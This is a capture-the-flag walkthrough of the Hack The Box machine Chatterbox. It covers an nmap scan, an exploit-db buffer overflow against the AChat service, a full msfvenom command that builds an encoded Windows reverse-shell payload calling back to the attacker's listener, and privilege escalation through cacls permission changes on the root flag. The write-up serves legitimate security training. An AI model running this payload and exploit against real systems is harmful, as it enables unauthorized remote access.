Details
This machine is Chatterbox from Hack The Box
Recon
A simple service discovery scan to start
root@kali:~# nmap -sV -p- -T4 10.10.10.74
Nmap scan report for 10.10.10.74
Host is up (0.036s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
9255/tcp open http AChat chat system httpd
9256/tcp open achat AChat chat system
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1406.48 seconds
User
So I found a potential exploit on exploit-db https://www.exploit-db.com/raw/36025 I needed a new payload
root@kali:~# msfvenom -a x86 --platform Windows -p windows/shell/reverse_tcp LHOST=10.10.14.2 LPORT=4444 -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python
I updated the script to contain the generated payload and also updated the IP to be that of the target
root@kali:~# python 36025
---->{P00F}!
In my listener
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 10.10.10.74
[*] Command shell session 1 opened (10.10.14.2:4444 -> 10.10.10.74:49157) at 2019-10-04 13:55:59 -0400
C:\Windows\system32>
A shell connected back
C:\Windows\system32>whoami
chatterbox\alfred
I went to see if I had earnt a flag
C:\Windows\system32>cd C:\Users\Alfred\Desktop
C:\Users\Alfred\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is 9034-6528
Directory of C:\Users\Alfred\Desktop
12/10/2017 07:50 PM <DIR> .
12/10/2017 07:50 PM <DIR> ..
12/10/2017 07:50 PM 32 user.txt
1 File(s) 32 bytes
2 Dir(s) 18,498,043,904 bytes free
C:\Users\Alfred\Desktop>type user.txt
[REDACTED]
And that was user!
System
I weirdly found I was able to browse the Administrators folders
C:\Users>cd Administrator
C:\Users\Administrator>dir
Volume in drive C has no label.
Volume Serial Number is 9034-6528
Directory of C:\Users\Administrator
12/10/2017 02:34 PM <DIR> .
12/10/2017 02:34 PM <DIR> ..
12/10/2017 07:08 PM <DIR> Contacts
12/10/2017 07:50 PM <DIR> Desktop
12/10/2017 07:08 PM <DIR> Documents
12/10/2017 07:08 PM <DIR> Downloads
12/10/2017 07:08 PM <DIR> Favorites
12/10/2017 07:08 PM <DIR> Links
12/10/2017 07:08 PM <DIR> Music
12/10/2017 07:08 PM <DIR> Pictures
12/10/2017 07:08 PM <DIR> Saved Games
12/10/2017 07:08 PM <DIR> Searches
12/10/2017 07:08 PM <DIR> Videos
0 File(s) 0 bytes
13 Dir(s) 18,159,456,256 bytes free
C:\Users\Administrator>cd Desktop
C:\Users\Administrator\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is 9034-6528
Directory of C:\Users\Administrator\Desktop
12/10/2017 07:50 PM <DIR> .
12/10/2017 07:50 PM <DIR> ..
12/10/2017 07:50 PM 32 root.txt
1 File(s) 32 bytes
2 Dir(s) 18,159,456,256 bytes free
But I can't read the file
C:\Users\Administrator\Desktop>type root.txt
Access is denied.
So I inspect the permissions on the file and the file
C:\Users\Administrator\Desktop>cacls .
C:\Users\Administrator\Desktop NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F
CHATTERBOX\Administrator:(OI)(CI)(ID)F
BUILTIN\Administrators:(OI)(CI)(ID)F
CHATTERBOX\Alfred:(OI)(CI)(ID)F
C:\Users\Administrator\Desktop>cacls root.txt
C:\Users\Administrator\Desktop\root.txt CHATTERBOX\Administrator:F
So I decided to try and change the permissions on the root flag as I had permissions over the directory
C:\Users\Administrator\Desktop>cacls root.txt /G alfred:F
I checked if it worked
C:\Users\Administrator\Desktop>cacls root.txt
C:\Users\Administrator\Desktop\root.txt CHATTERBOX\Alfred:F
And grabbed my flag
C:\Users\Administrator\Desktop>type root.txt
[REDACTED]